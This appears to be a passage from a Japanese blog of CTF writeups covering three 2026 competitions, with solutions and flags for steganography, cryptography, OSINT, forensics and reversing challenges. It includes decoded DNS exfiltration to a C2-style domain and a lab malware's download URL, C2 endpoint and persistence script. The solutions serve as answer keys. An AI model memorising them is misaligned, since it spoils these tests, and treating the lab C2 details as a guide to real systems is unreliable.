No.429: s01-KS2TLETCOASR.exfil.deadface-c2.net
No.437: s02-KYGRAMBPKJKT.exfil.deadface-c2.net
No.449: s03-IGZGANBVSBI6.exfil.deadface-c2.net
No.461: s04-FY.exfil.deadface-c2.net

base32文字列と推測し、すべて結合し、パディングする。

G4KVCVANDAYBKS2TLETCOASRKYGRAMBPKJKTIGZGANBVSBI6FY======

これをbase32デコードし、xor_keyの"Sp00ky"とXORする。

>>> from base64 import *
>>> key = b"Sp00ky"
>>> ct = b"G4KVCVANDAYBKS2TLETCOASRKYGRAMBPKJKTIGZGANBVSBI6FY======"
>>> ct = b32decode(ct)
>>> "".join([chr(ct[i] ^ key[i % len(key)]) for i in range(len(ct))])
'deadface{c2_traffic_be_bussing}'
deadface{c2_traffic_be_bussing}

Headshot (Steganography 5)

headshot003.png_originalがあるので、headshot003.pngが改ざんされたものと推測できる。

$ exiftool headshot003.png
ExifTool Version Number         : 13.25
File Name                       : headshot003.png
Directory                       : .
File Size                       : 183 kB
File Modification Date/Time     : 2026:05:01 10:45:53+09:00
File Access Date/Time           : 2026:10:18 08:14:36+09:00
File Inode Change Date/Time     : 2026:05:01 10:45:53+09:00
File Permissions                : -rwxrwxrwx
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 512
Image Height                    : 512
Bit Depth                       : 8
Color Type                      : Palette
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Palette                         : (Binary data 768 bytes, use -b option to extract)
Transparency                    : (Binary data 256 bytes, use -b option to extract)
Pixels Per Unit X               : 11811
Pixels Per Unit Y               : 11811
Pixel Units                     : meters
Comment                         : deadface{b00m_h34Dsh0TTT}
Image Size                      : 512x512
Megapixels                      : 0.262

Commentにフラグが設定されていた。

deadface{b00m_h34Dsh0TTT}

Hidden Loot Box (Steganography 15)

HTMLソースを見ると、以下の部分がある。

<img class="secret" src="/static/hidden.png" alt="old loot box">

http://45.79.200.170:3001/static/hidden.pngにアクセスすると、画像にフラグが書かれていた。

deadface{uh_I_feel_exposed}

Hail Caesar (Cryptography 5)

付箋にこう書いてある。

Zl qbt'f anzr vf Srgpu

https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherでROT13で復号する。

My dog's name is Fetch
deadface{Fetch}

DECODE-DLE (Cryptography 25)

番号が3つ並んでいて、位置があっているか、使われているかが書いてある。そのヒントが5個書いてあるので、正しい番号を答える必要がある。

  • 8, 6, 3: 1つだけ使われているが、場所が間違っている。
  • 2, 5, 0: どれも使われていない。
  • 1, 6, 8: 2つだけ使われているが、場所が間違っている。
  • 7, 3, 5: 1つだけ使われ、場所も合っている。
  • 6, 8, 7: 2つだけ使われているが、場所が間違っている。

4番目の条件を元に考える。
2番目の条件により、5が正しいことはない。また、2番目が3だと仮定し、1番目を0から9について順番に考えると、条件を満たさないことがわかる。
最初が7だと仮定し、さらに5番目の条件を元に考える。3番目の条件より2番目に6、3番目に8が来ることはない。
このことから考えられる数字は以下の場合のみ。

7, 1, 6
deadface{716}

Infrequent Emojis (Cryptography 50)


絵文字をアルファベットに置き換える。

☣️: A
💾: B
🕯️: C
🕸️: D
🖤: E
📡: F
🌩️: G
🦉: H
💀: I
☠️: J
📟: K
🌙: L
☢️: M
⚰️: N
⛓️: O
🦇: P
🩸: Q
🔮: R
🧪: S
🪦: T
🦴: U
🔥: V
🥀: W

置き換えた結果は以下の通り。

ABC DEEFGH AIJDC KL DKMC. IDD INAKMC NEOOGPKNIAKEPL OGLA LBKQA AE ABKL QEROIA AE JSHILL LAIPTIRT LARKPU LNIPPCRL.

UCA SEGR DENID LNRKHAL RGPPKPU PEV. K IO PEA DEEFKPU IA NDCIR ACWA NBIPPCDL IPSOERC.

quipqiupで復号すると、以下のようになった。

THE LOOKUP TABLE IS LIVE. ALL ACTIVE COMMUNICATIONS MUST SHIFT TO THIS FORMAT TO BYPASS STANDARD STRING SCANNERS.

GET YOUR LOCAL SCRIPTS RUNNING NOW. I AM NOT LOOKING AT CLEAR TEXT CHANNELS ANYMORE.

この対応を考え、上の画像の絵文字を復号する。なお、アルファベットは小文字に置き換える。

🪦: T -> D
🕯️: C -> E
💀: I -> A
🩸: Q -> F
⚰️: N -> C
🦉: H -> P
🕸️: D -> L
🌙: L -> S
☣️: A -> T
🔮: R -> R
🧪: S -> Y
🖤: E -> O
🌩️: G -> U
⛓️: O -> M
🦇: P -> N
🔥: V -> W
deadface{please_try_out_my_new_standard}

KubSTU CTF 2026 Writeup

この大会は2026/10/10 16:00(JST)~2026/10/11 22:00(JST)に開催されました。
今回は個人で参戦。結果は1678点で433チーム中229位でした。
自分で解けた問題をWriteupとして書いておきます。

Grep: almost but not quite (Misc)

面倒なので、全てのgitオブジェクトをデコードし、フラグを探す。

#!/usr/bin/env python3
import os, glob, zlib

objects = glob.glob('./.git/objects/**', recursive=True)
for obj in objects:
    if os.path.isdir(obj):
        continue
    with open(obj, 'rb') as f:
        data = zlib.decompress(f.read())
        if b'KubCTF{' in data:
            print(data.decode())

実行結果は以下の通り。

blob 78export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7KubCTF{d4ngl1ng?_Ye4h_1ve_he4rd_0f_1t.}
KubCTF{d4ngl1ng?_Ye4h_1ve_he4rd_0f_1t.}

[Beginner] Matryoshka (PPC)

$ unzip matryoshka.zip   
Archive:  matryoshka.zip
5ox5iae8pv05
  inflating: README.ru.txt           
  inflating: README.txt              
  inflating: level02.zip
$ cat README.txt
Layer 1 of 10.
The comment of the archive you just opened is the password for level02.zip; `unzip -z` prints it.
$ unzip -z level02.zip   
Archive:  level02.zip
emhhZzEwdWN0NHc2ag==
$ echo emhhZzEwdWN0NHc2ag== | base64 -d                                                    
zhag10uct4w6j

このパスワードでlevel02.zipを解凍してみるが、うまくいかない。

$ unzip -z matryoshka.zip 
Archive:  matryoshka.zip
5ox5iae8pv05

このパスワードでlevel02.zipを解凍してみる。

$ unzip level02.zip      
Archive:  level02.zip
emhhZzEwdWN0NHc2ag==
[level02.zip] README.ru.txt password: 
replace README.ru.txt? [y]es, [n]o, [A]ll, [N]one, [r]ename: y
  inflating: README.ru.txt           
replace README.txt? [y]es, [n]o, [A]ll, [N]one, [r]ename: y
  inflating: README.txt              
  inflating: level03.zip
$ cat README.txt
Layer 2 of 10.
level03.zip opens with this archive's comment decoded from Base64.

なるほど1階層ヒントがずれているようだ。zhag10uct4w6j でlevel03.zipを解凍してみる。

$ unzip level03.zip
Archive:  level03.zip
795f3274787a376a38766569796c73
[level03.zip] README.ru.txt password: 
replace README.ru.txt? [y]es, [n]o, [A]ll, [N]one, [r]ename: y
  inflating: README.ru.txt           
replace README.txt? [y]es, [n]o, [A]ll, [N]one, [r]ename: y
  inflating: README.txt              
  inflating: level04.zip
$ cat README.txt
Layer 3 of 10.
This archive's comment is hex. Decoded, it is the password for level04.zip.
$ echo 795f3274787a376a38766569796c73 | xxd -r -p
y_2txz7j8veiyls

y_2txz7j8veiyls でlevel04.zipを解凍してみる。

$ unzip level04.zip
Archive:  level04.zip
fl8insn09afrrlg
[level04.zip] README.ru.txt password: 
replace README.ru.txt? [y]es, [n]o, [A]ll, [N]one, [r]ename: y
  inflating: README.ru.txt           
replace README.txt? [y]es, [n]o, [A]ll, [N]one, [r]ename: y
  inflating: README.txt              
  inflating: level05.zip
$ cat README.txt
Layer 4 of 10.
Shift the letters of this archive's comment by 13 to get the password for level05.zip.
$ echo fl8insn09afrrlg | tr 'A-Za-z' 'N-ZA-Mn-za-m'
sy8vafa09nseeyt

sy8vafa09nseeyt でlevel05.zipを解凍してみる。

$ unzip level05.zip
Archive:  level05.zip
[level05.zip] README.ru.txt password: 
replace README.ru.txt? [y]es, [n]o, [A]ll, [N]one, [r]ename: y
  inflating: README.ru.txt           
replace README.txt? [y]es, [n]o, [A]ll, [N]one, [r]ename: y
  inflating: README.txt              
  inflating: level06.zip             
 extracting: note.txt
$ cat README.txt
Layer 5 of 10.
This archive carries no comment. The password for level06.zip is in note.txt.
$ cat note.txt  
level06.zip
zjcp1s35m_q5

zjcp1s35m_q5 でlevel06.zipを解凍してみる。

$ unzip level06.zip
Archive:  level06.zip
cza2gkmpru
[level06.zip] README.ru.txt password: 
replace README.ru.txt? [y]es, [n]o, [A]ll, [N]one, [r]ename: y
  inflating: README.ru.txt           
replace README.txt? [y]es, [n]o, [A]ll, [N]one, [r]ename: y
  inflating: README.txt              
  inflating: level07.zip
$ cat README.txt
Layer 6 of 10.
This archive's comment is the password for level07.zip written backwards.
$ echo cza2gkmpru | rev 
urpmkg2azc

urpmkg2azc でlevel07.zipを解凍してみる。

$ unzip level07.zip
Archive:  level07.zip
120 57 115 104 56 111 117 103 105 55 50 48 107
[level07.zip] README.ru.txt password: 
replace README.ru.txt? [y]es, [n]o, [A]ll, [N]one, [r]ename: y
  inflating: README.ru.txt           
replace README.txt? [y]es, [n]o, [A]ll, [N]one, [r]ename: y
  inflating: README.txt              
  inflating: level08.zip
$ cat README.txt      
Layer 7 of 10.
This archive's comment lists the password for level08.zip as decimal character codes.

CyberChefの「From Decimal」でデコードする。

x9sh8ougi720k

x9sh8ougi720k でlevel08.zipを解凍してみる。

$ unzip level08.zip
Archive:  level08.zip
[level08.zip] README.ru.txt password: 
replace README.ru.txt? [y]es, [n]o, [A]ll, [N]one, [r]ename: y
  inflating: README.ru.txt           
replace README.txt? [y]es, [n]o, [A]ll, [N]one, [r]ename: y
  inflating: README.txt              
  inflating: candidates.txt          
  inflating: level09.zip
$ cat README.txt
Layer 8 of 10.
candidates.txt holds six strings. Exactly one of them opens level09.zip.
$ cat candidates.txt  
k0rjkgsy6bq8hm
gvqfg6duz0a
nhd7rpralyg
tw2dl47d1sn5t
gfg2c7qiaoblhn
c3zms79sj8

level09.zipの解凍について、上記の6個のパスワードを順に試す。結果、nhd7rpralyg が正解だった。

$ unzip level09.zip
Archive:  level09.zip
GBUHGMDLGZ4TQMJQ
[level09.zip] README.ru.txt password: 
password incorrect--reenter: 
password incorrect--reenter: 
replace README.ru.txt? [y]es, [n]o, [A]ll, [N]one, [r]ename: y
  inflating: README.ru.txt           
replace README.txt? [y]es, [n]o, [A]ll, [N]one, [r]ename: y
 extracting: README.txt              
  inflating: level10.zip
$ cat README.txt    
Layer 9 of 10.
This archive's comment is Base32. Decoded, it opens level10.zip.
$ echo GBUHGMDLGZ4TQMJQ | base32 -d
0hs0k6y810

0hs0k6y810 でlevel10.zipを解凍してみる。

$ unzip level10.zip
Archive:  level10.zip
[level10.zip] README.ru.txt password: 
replace README.ru.txt? [y]es, [n]o, [A]ll, [N]one, [r]ename: y
  inflating: README.ru.txt           
replace README.txt? [y]es, [n]o, [A]ll, [N]one, [r]ename: y
  inflating: README.txt              
 extracting: flag.txt
$ cat flag.txt  
kubstu{t3n_l4y3rs_d33p_991939c0}
kubstu{t3n_l4y3rs_d33p_991939c0}

[Beginner] Shiffted (PPC)

シーザー暗号と推測し、https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。

Rotation 7:
KubSTU{c43s4r_w0uld_b3_pr0ud}
KubSTU{c43s4r_w0uld_b3_pr0ud}

[Beginner] Transmission (PPC)

Audacityで開きスペクトログラムを見ると、フラグが現れた。

kubstu{h34r_th3_p1ctur3_8a72}

How to make a local happy (OSINT)

問題文はこうなっている。

It takes so little to make a Krasnodar local happy: just close one street to traffic. It used to happen every weekend, but now it only happens on special occasions. Find this street and the dates it was last closed.

Flag format: KubSTU{StreetName_dd.mm-dd.mm}

Example: KubSTU{Severnaya_31.12-07.01}

Claudeに調べてもらったら、以下のことがわかった。

通りの特定

クラスナヤ通りはクラスノダールの目抜き通りです。
以前は毎週末(金曜20:00〜日曜24:00)と祝日に車両通行止めの歩行者天国になっていました。
2022年3月以降は、コロナ禍の規制とその後の治安上の理由(反テロ委員会の決定)で毎週末の封鎖がなくなり、
特別な機会にだけ封鎖されるようになりました。

最後の封鎖日

2026年の「市の日(День города)」に合わせたマラソン大会「Пульс города」のため、
ポストヴァヤ通りからカリニナ通りの区間が、9月26日22:00から9月27日14:00まで車両通行止めになりました。
大会本番は9月27日の6:00〜10:00でした。93.ru の記事(2026年9月27日)も、このときクラスナヤ通りが数時間だけ歩行者天国になったと報じています。

KubSTU{Krasnaya_26.09-27.09}

Love is (OSINT)

問題文はこうなっている。

Love is when the kebab guy carefully carves the meat off the skewer and doesn't skimp on the filling at the stall near the university. And then you take it and... it smells of smoke and melts in your mouth. God, it's so good. Find the shawarma stall where we always get it. Put the phone number from the stall's storefront in the flag.

Flag format - KubSTU{+79xxxxxxxxx}

Claudeに調べてもらったら、以下のことがわかった。

最も一致するのは「Love is...」というシャワルマのキオスクで、下の旗にはそこに記載されている電話番号が使われています。

  • 名前:プロンプトは「Love is when…」で始まりますが、これは屋台の名前を暗示しているようです。
  • 場所:2GIS のリストには住所が ul. Ostrovskogo, 26/1B と記載されています。また Moskovskaya str., 4b とも表記されています。これは、KubSTU のメインキャンパスのすぐ隣の Moskovskaya にあります。
  • 電話:リストには +7 918 252 4547 と表示されています。これは、ページ自体が「+7‒918‒252...」と切り捨てているため、tel:/WhatsApp リンクから読み取ったものです。
KubSTU{+79182524547}

Baby (Forensics)

C\Users\Alex\AppData\Local\Google\Chrome\User Data\Default\HistoryをDB Browserで見てみる。
http://198.51.100.23:8080/InvoiceViewer.exeからInvoiceViewer.exeをダウンロードしていることがわかる。

C\ProgramData\.cache\agent_state.datを見るとこのようになっている。

[sync]
profile=onedrive-update
transport=tcp
endpoint=198.51.100.23:4444
last_status=connected
note=Documentation-only TEST-NET endpoint; no network activity is possible.

endpointに設定されているIP, PORTがC2と考えられる。

C\Users\Alex\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startupを確認すると、以下のファイルがある。

OneDriveUpdate.vbs
KubSTU{InvoiceViewer.exe|198.51.100.23:4444|OneDriveUpdate.vbs}

Timing (Forensics)

削除済みマークのあるsync_7D3.tmpをエクスポートする。
sync_7D3.exeにリネームして実行すると、フラグが表示された。

KubSTU{aU70p5y_D3l373d_P3_4nd_r3v3r53}

[STEGO] Subway 3 (Hardware)

mp4がたくさん添付されている。それぞれゲーム動画になっているので、最終的にゲットしたコインの数を確認していく。

1.MP4: 75
2.MP4: 85
3.MP4: 66
4.MP4: 83
5.MP4: 84
6.MP4: 85
7.MP4: 123
8.MP4: 49
9.MP4: 116
10.MP4: 53
11.MP4: 95
12.MP4: 114
13.MP4: 51
14.MP4: 97
15.MP4: 49
16.MP4: 95
17.MP4: 115
18.MP4: 117
19.MP4: 98
20.MP4: 119
21.MP4: 119
22.MP4: 51
23.MP4: 105
24.MP4: 125

これをASCIIコードとしてデコードする。

>>> s = [75, 85, 66, 83, 84, 85, 123, 49, 116, 53, 95, 114, 51, 97, 49, 95, 115, 117, 98, 119, 119, 51, 105, 125]
>>> ''.join([chr(c) for c in s])
'KUBSTU{1t5_r3a1_subww3i}'
KUBSTU{1t5_r3a1_subww3i}

[STEGO] Color Illusion (Hardware)

$ exiftool colors.gif
ExifTool Version Number         : 13.25
File Name                       : colors.gif
Directory                       : .
File Size                       : 5.9 kB
File Modification Date/Time     : 2026:09:05 06:41:44+09:00
File Access Date/Time           : 2026:10:11 19:20:42+09:00
File Inode Change Date/Time     : 2026:09:05 06:41:44+09:00
File Permissions                : -rwxrwxrwx
File Type                       : GIF
File Type Extension             : gif
MIME Type                       : image/gif
GIF Version                     : 89a
Image Width                     : 220
Image Height                    : 220
Has Color Map                   : Yes
Color Resolution Depth          : 1
Bits Per Pixel                  : 8
Background Color                : 0
Comment                         : Hint: Some colors look the same but aren't. Check palette indices.
Image Size                      : 220x220
Megapixels                      : 0.048

パレットを調べると、256個のエントリのうち、画像の描画で使われているのは 0~127番だけ。未使用の 128~154番には、0~127番のいずれかと R成分だけが1違う色が27個並んでいることがわかる。
128番以降の近い色のパレット番号をASCIIコードとしてデコードする。

#!/usr/bin/env python3
with open('colors.gif', 'rb') as f:
    data = f.read()

count = 1 << ((data[10] & 7) + 1)
palette = [
    tuple(data[i:i + 3])
    for i in range(13, 13 + count * 3, 3)
]

base = palette[:128]
message = []

for color in palette[128:]:
    distances = [
        sum((a - b) ** 2 for a, b in zip(color, reference))
        for reference in base
    ]
    nearest = min(range(128), key=distances.__getitem__)

    if distances[nearest] == 1:
        message.append(nearest)

flag = bytes(message).decode()
print(flag)
KubSTU(Pr0bAbly_ea8y_steG0)

[Beginner] Numbers Station (Crypto)

ASCIIコードとしてデコードする。

>>> s = "75 117 98 83 84 85 123 100 51 99 49 109 52 108 95 49 53 95 109 121 95 108 52 110 54 117 52 103 51 125"
>>> s = s.split()
>>> "".join([chr(int(c)) for c in s])
'KubSTU{d3c1m4l_15_my_l4n6u4g3}'
KubSTU{d3c1m4l_15_my_l4n6u4g3}

default (Crypto)

cはnに比べてかなり小さい。factordbでcを因数分解する。

c = 3594399437912912978195551336964078162744345388422238446385520001856028255082684908000833583936508354813687612747856269001990971315883422671997 ** 5

eが5で平文は以下であることがわかった。

3594399437912912978195551336964078162744345388422238446385520001856028255082684908000833583936508354813687612747856269001990971315883422671997
>>> from Crypto.Util.number import *
>>> m = 359439943791291297819555133696407816274434538842223844638552000185602825508268490800083358393650835481368761274\7856269001990971315883422671997
>>> long_to_bytes(m)
b'KubSTU{r54_ag41n_b47_1_lik3_17_aft3r_411_1t5_n0t_7ha7_h4rd}'
KubSTU{r54_ag41n_b47_1_lik3_17_aft3r_411_1t5_n0t_7ha7_h4rd}

AES Is Secure, Right? (Crypto)

暗号化処理の概要は以下の通り。

・secret: 不明バイト文字列
・pin: 不明テキスト
・result = encrypt(secret, pin)
 ・transform(data, pin)を返却
  ・key: pinのsha256ダイジェストの先頭16バイト
  ・cipher: AES ECBモード暗号化オブジェクト
  ・data = prepare(data)
   ・r: パディングサイズ
   ・k: ブロックサイズ
   ・data + bytes([k]) * rを返却
  ・shift: pinの各桁の値の合計値をブロックサイズで割った余り
  ・blocks = blocks[shift:] + blocks[:shift]
  ・blocks = blocks[::-1]
  ・b''.join(cipher.encrypt(block) for block in blocks)を返却
・resultを16進数表記にしたものを出力

pinが4桁で2から始まることを前提にブルートフォースで復号する。

#!/usr/bin/env python3
from Crypto.Cipher import AES
from hashlib import sha256

def is_printable(s):
    for c in s:
        if c < 32 or c > 126:
            if c != 10:
                return False
    return True

def rev_transform(data: bytes, pin: str) -> bytes:
    key = sha256(pin.encode()).digest()[:16]
    cipher = AES.new(key, AES.MODE_ECB)

    blocks = [
        data[i:i + 16]
        for i in range(0, len(data), 16)
    ]

    shift = sum(int(x) for x in pin) % len(blocks)

    blocks = [cipher.decrypt(block) for block in blocks]
    blocks = blocks[::-1]
    blocks = blocks[-shift:] + blocks[:-shift]

    data = b''.join(block for block in blocks)

    return data.rstrip(bytes([data[-1]]))

def decrypt(data: bytes, pin: str) -> bytes:
    return rev_transform(data, pin)

ct = '944806effd021a6919bbc1b01dbd3bd173a1cb2018557c1d169e56ea4690e23af7c6b7997a758e59882f55c348bc70f2eba0b974adcfdc10110d5fc51cff1dca9279787bcf5c92e0c2b2ea52830cc75bd7ba5ddca66ba089c4f695f70dd2c7c5580c2cf18cd8bcfef086d65183ac87e2332d1bde12b2bf3a0c86b6d4b38a0cdfbd8a50d26f912beaf70f487fc479f3e8'
ct = bytes.fromhex(ct)

for i in range(1000):
    pin = '2%03d' % i
    flag = decrypt(ct, pin)
    if is_printable(flag):
        flag = flag.decode()
        print(flag)
        break

復号結果は以下の通り。

CERTIFICATE OF COMPLETION
Course: Information Security Basics
Issued to: KubSTU Intern Lab
Status: REVOKED
Reason: KubSTU{c3rt1f1c4t3_r3v0k3d}
KubSTU{c3rt1f1c4t3_r3v0k3d}

L. Lawliet (Crypto)

LLLを使って復号する。

#!/usr/bin/env python3
import random
from sympy import Matrix, Rational
import sympy.polys.matrices.lll as lll_module

n = 64
w = [
    12876265139639655924639986,
    16108486895425824283130763,
    17901534121882092176953685,
    17384149545413351834137429,
    16404683382684020090294580,
    17473704215441390149675837,
    10016206894404517131181616,
    14437094497597429634332351,
    13558962021003050701659509,
    17553019102634174991548163,
    13478457312492750947701292,
    15182668426193284306569600,
    9912529746200999075571350,
    14734950317549529546148072,
    12195469176023965893199929,
    18171780445840446103729548,
    10709144333331377785651545,
    17931861319383377075636029,
    15232535977151355443236825,
    12680475814582514921999423,
    18594606421224918644628503,
    10994635420750567461923836,
    13805980773158702047788636,
    19034607425049835464004027,
    17980993543622064455416541,
    12760964152714957102101269,
    17272172248177186816244277,
    18747254777732811718282674,
    10256261304093841070562655,
    13387551111108628699623839,
    15608480760426500727808998,
    16609575166821532386423016,
    15576355382491502681771990,
    17126551860400925134623544,
    11331626590441771616442841,
    9727073186490511586049578,
    19182737345485974465407138,
    10682109222633381851229923,
    15024853290306006168992270,
    11663027160814628418150920,
    15401970544885798369011300,
    12536705163122722051348517,
    11225286080940835703486177,
    19128473297396674699774933,
    13061641801229311745881073,
    12811211975587978642521858,
    13981428391434210157474819,
    18194942313432662959958790,
    15607931706857386864172026,
    10156082081259433410263420,
    16500841798355083303500508,
    11653225685509713760793565,
    11241578099834471893487334,
    12706729634430942443461414,
    11732188202293549213634523,
    17499151654632276404993599,
    14420660933669007494835682,
    14070428006613921173738011,
    17712227709274233809525162,
    11098374254247433140006309,
    16652302662101614774313330,
    16995494081810802990696004,
    10816437366074473562732524,
    12687288487659604587954038,
]
ciphertexts = [
    497994755863057405933630374,
    508694844706487270636105167,
    527630280838317716773094973,
    463560018566498790558286776,
    493565358761271805468731483,
    566039950648282399263875713,
    310833993322957764462819748,
]

def exact_lll(rows: list[list[int]]) -> list[list[int]]:
    old_floor = lll_module.mfloor
    lll_module.mfloor = lambda q: q.numerator // q.denominator
    try:
        reduced = Matrix(rows).lll(delta=Rational(999, 1000))
        return [[int(x) for x in row] for row in reduced.tolist()]
    finally:
        lll_module.mfloor = old_floor


def solve_block(
    weights: list[int], ciphertext: int, max_attempts: int = 40
) -> tuple[bytes, int]:
    nbits = len(weights)
    if nbits == 0 or nbits % 8:
        raise ValueError("The number of weights must be a positive multiple of 8.")
    if any(a <= 0 for a in weights):
        raise ValueError("All weights must be positive.")
    if not 0 <= ciphertext <= sum(weights):
        raise ValueError("Ciphertext is outside the possible subset-sum range.")

    indices = [i for i in range(nbits) if i % 8 != 0]
    m = len(indices)
    scale = 32

    basis = [[0] * (m + 1) for _ in range(m + 1)]
    basis[0] = [1] * m + [scale * ciphertext]
    for j, original_i in enumerate(indices):
        basis[j + 1][j] = 2
        basis[j + 1][-1] = scale * weights[original_i]

    rng = random.Random(42)
    for attempt in range(1, max_attempts + 1):
        reduced = exact_lll(basis)
        for row in reduced:
            if row[-1] != 0 or any(abs(x) != 1 for x in row[:-1]):
                continue

            for sign in (1, -1):
                bits = [0] * nbits
                for original_i, x in zip(indices, row[:-1]):
                    bits[original_i] = (1 + sign * x) // 2

                if sum(a * b for a, b in zip(weights, bits)) != ciphertext:
                    continue

                bitstring = "".join(map(str, bits))
                block = int(bitstring, 2).to_bytes(nbits // 8, "big")
                return block, attempt

        basis = reduced
        rng.shuffle(basis)

    raise RuntimeError(
        f"No verified solution after {max_attempts} LLL passes. "
        "Increase max_attempts or check the ASCII/bit-order assumptions."
    )


def main() -> None:
    if n != len(w):
        raise ValueError("n does not match the number of weights.")
    blocks = []
    for i, ciphertext in enumerate(ciphertexts, 1):
        block, attempts = solve_block(w, ciphertext)
        blocks.append(block)

    raw = b"".join(blocks)
    print(raw.rstrip(b"\x00").decode("ascii"))

if __name__ == "__main__":
    main()
KubSTU{y0u_n33d_70_6e_4_re41_d373ct1ve_7o_5o1v3_7h15}

CSAW CTF Qualification Round 2026 Writeup

この大会は2026/9/19 1:00(JST)~2026/9/21 1:00(JST)に開催されました。
今回もチームで参戦。結果は606点で530チーム中298位でした。
自分で解けた問題をWriteupとして書いておきます。

House of Hollow Houses (Misc)

トップページに以下の文章がある。

The obedient have always been answered first, and the answer issued to them is a catalogue, organised alphabetically, of every place the atrium is not. The catalogue is, by long custom, kept at the front gate, in a small text file the house permits to be read by anyone who knows to ask for it. It is, of course, a complete list.

https://hollow-houses.ctf.csaw.io/robots.txtにアクセスすると、以下のように書いてあった。

User-agent: *
Disallow: /atrium/

# the obedient have been answered.

https://hollow-houses.ctf.csaw.io/atrium/にアクセスする。文の行頭が見にくくなっているので、行頭の文字だけ並べてみる。

OSSUARY

https://hollow-houses.ctf.csaw.io/ossuary/にアクセスしてみる。そこに記載されているものの中に以下のbase64文字列がある。

d2hhdCB0aGUgbWlycm9yIHNlZXMsIHRoZSBtaXJyb3Iga2VlcHM=
$ echo d2hhdCB0aGUgbWlycm9yIHNlZXMsIHRoZSBtaXJyb3Iga2VlcHM= | base64 -d
what the mirror sees, the mirror keeps

https://hollow-houses.ctf.csaw.io/mirror/にアクセスしてみる。左右反転しているが、以下の文章がある。

The next chamber is called the wellspring. It lies beneath this one, in a sense that has

https://hollow-houses.ctf.csaw.io/wellspring/にアクセスしてみる。単語間に不自然な複数スペースがある文章がある。HTMLを確認してそのまま抜き出してみる。

come   back
the moon does not turn
no longer

petals fall where   she walked
hold what   was given gently
wind across   water
all   is   done already

lift this   stone from heart
you are still
always there
ash bone breath dust

we who   walked   together
and yet   parted
the road bends
press   onward
leaves under foot
snow   on shoulders
winter   pulls   the world

where you went
down   below knowing

come   home
the cold air keeps walking
without you

stars fall in silence
into the   river
drowned   in light
below   the silence   below silence
speak   gently
what was once   ours
always   never   here

スペース3つを"-"、スペース1つを"."で解釈し、モールス信号としてデコードする。なお、各段落で一語を各行で一文字として、https://www.dcode.fr/morse-codeでデコードする。

- .... . / ..-. .-.. .- --. / .-.. .. . ... / .-- .- .. - .. -. --. / .. -. / - .... . / ... .- -. -.-. - ..- --
THE FLAG LIES WAITING IN THE SANCTUM

https://hollow-houses.ctf.csaw.io/sanctum/にアクセスしたら、フラグが書いてあった。

csaw{w4nd3r3r_0f_th3_h0ll0w_h0us3}

High_tide (OSINT)


問題文はこうなっている。

As per popular request, we present to you guys High_tide!!

flag format: csaw{name_of_place} (not case sensitive)

画僧の上半分を中心に画像検索すると、Instagramの以下のページに掲載されている画像に近いものがあることがわかる。
https://www.instagram.com/p/DRrvkokEtAF/?img_index=2

この場所の名前は以下の通り。

Mont Saint-Michel
csaw{mont_saint_michel}

Machine Head (Rev)

Ghidraでデコンパイルする。

undefined8 FUN_001010c0(int param_1,undefined8 *param_2)

{
  byte *pbVar1;
  byte bVar2;
  byte bVar3;
  byte bVar4;
  char *__s;
  bool bVar5;
  size_t sVar6;
  undefined8 uVar7;
  byte *pbVar8;
  long in_FS_OFFSET;
  byte local_18 [8];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  if (param_1 == 2) {
    __s = (char *)param_2[1];
    sVar6 = strlen(__s);
    if (sVar6 == 0x35) {
      pbVar8 = &DAT_00102040;
      bVar5 = true;
      local_18[0] = 0;
      local_18[1] = 0;
      local_18[2] = 0;
      local_18[3] = 0;
      local_18[4] = 0;
      local_18[5] = 0;
      local_18[6] = 0;
      local_18[7] = 0;
      do {
        bVar2 = *pbVar8;
        bVar3 = pbVar8[1];
        bVar4 = pbVar8[2];
        if (bVar2 == 0x7a) {
          local_18[bVar3] = local_18[bVar3] ^ bVar4;
        }
        else if (bVar2 < 0x7b) {
          if (bVar2 == 0x4e) {
            local_18[bVar3] = local_18[bVar3] ^ local_18[bVar4];
          }
          else if (bVar2 < 0x4f) {
            if (bVar2 == 0x1d) {
              local_18[bVar3] = local_18[bVar3] * bVar4;
            }
            else {
              if (bVar2 != 0x24) break;
              local_18[bVar3] = local_18[bVar3] + bVar4;
            }
          }
          else {
            if (bVar2 != 0x6d) break;
            local_18[bVar3] = local_18[bVar3] + local_18[bVar4];
          }
        }
        else if (bVar2 == 0xb2) {
          pbVar1 = local_18 + bVar3;
          *pbVar1 = *pbVar1 << (bVar4 & 7) | *pbVar1 >> 8 - (bVar4 & 7);
        }
        else {
          if (0xb2 < bVar2) {
            if ((bVar2 == 0xe0) && (bVar5)) {
              puts("Correct! That\'s the master key.");
              uVar7 = 0;
              goto LAB_0010119e;
            }
            break;
          }
          if (bVar2 == 0x91) {
            local_18[bVar3] = __s[bVar4];
          }
          else {
            if (bVar2 != 0xa7) break;
            if (bVar4 != local_18[bVar3]) {
              bVar5 = false;
            }
          }
        }
        pbVar8 = pbVar8 + 3;
      } while( true );
    }
    puts("Wrong.");
    uVar7 = 1;
  }
  else {
    __fprintf_chk(stderr,2,"usage: %s <flag>\n",*param_2);
    uVar7 = 2;
  }
LAB_0010119e:
  if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
    return uVar7;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

                             DAT_00102040                                    XREF[2]:     FUN_001010c0:001010fa(*), 
                                                                                          FUN_001010c0:00101110(R)  
        00102040 7a              undefined1 7Ah
                             DAT_00102041                                    XREF[1]:     FUN_001010c0:00101113(R)  
        00102041 01              undefined1 01h
                             DAT_00102042                                    XREF[1]:     FUN_001010c0:00101117(R)  
        00102042 3c              undefined1 3Ch
                             DAT_00102043                                    XREF[2]:     FUN_001010c0:00101110(R), 
                                                                                          FUN_001010c0:00101178(*)  
        00102043 91              undefined1 91h
                             DAT_00102044                                    XREF[1]:     FUN_001010c0:00101113(R)  
        00102044 00              undefined1 00h
                             DAT_00102045                                    XREF[1]:     FUN_001010c0:00101117(R)  
        00102045 00              undefined1 00h
        00102046 7a              ??         7Ah    z
        00102047 00              ??         00h
        00102048 5a              ??         5Ah    Z
        00102049 24              ??         24h    $
        0010204a 00              ??         00h
        0010204b 11              ??         11h
        0010204c b2              ??         B2h
        0010204d 00              ??         00h
